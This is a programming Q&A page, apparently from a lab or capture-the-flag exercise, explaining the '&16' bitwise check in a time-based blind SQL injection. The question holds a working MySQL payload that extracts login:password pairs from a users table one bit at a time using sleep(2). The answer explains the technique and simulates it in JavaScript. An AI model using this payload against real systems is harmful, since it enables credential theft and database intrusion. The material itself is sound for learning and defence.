Search code examples
mysqlsqlsql-injectionbitwise-operators

What is &16 doing in this MySQL query?


I have this MySQL query, and the only thing I can't understand is this part &16

if((select ascii(substring((select concat(login,':',password) from users limit 0,1),2,1))&16),sleep(2),0)

I'm trying to solve a machine in which I have a blind SQL injection:

This is the whole payload to find the login and password, character by character:

hacker' or if((select ascii(substring((select concat(login,':',password) from users limit 0,1),2,1))&16),sleep(2),0) and '1'='1

The code to achieve the 16 value is doing by {2**bit} And the bit value are a range for 0 to 7


Solution

  • It looks like the person is trying to check if the second letter of the username + password belongs to one of these ascii character ranges:

    16 - 31
    48 - 63
    80 - 95
    112 - 127
    144 - 159
    176 - 191
    208 - 223
    240 - 255
    

    I am sure you will find similar attempts for each letter of the username + password, for each value between 1, 2, 4, ... 128, and for each row in users table.

    Now, here is what he is actually trying to do:

    You need 256 attempts to guess a letter using brute force i.e. you check the ascii code 0x00 - 0xFF. But if bitwise AND operation is available you can check one bit at a time and guess the letter in exactly 8 attempts. Here is a JavaScript implementation of what he's trying to do:

    // assume this is the character from substring(..., 2, 1)
    let substring = String.fromCharCode(Math.random() * 256);
    
    // ...and this holds the ascii value of the character he's guessing
    let cracked = 0;
    
    // i represents the values used in the "&" operation
    for (let i = 1; i <= 128; i <<= 1) {
      console.log(`i = ${i.toString().padStart(3, " ")} (0b${i.toString(2).padStart(8, "0")})`);
    
      if (substring.charCodeAt(0) & i) {
        // when "&" operation results in a truthy value he spots a 2 second delay
        // ...and updates the guessed value
        cracked |= i;
      }
    }
    
    console.log(`that substring: ${substring}`);
    console.log(`cracked string: ${String.fromCharCode(cracked)} (${cracked})`);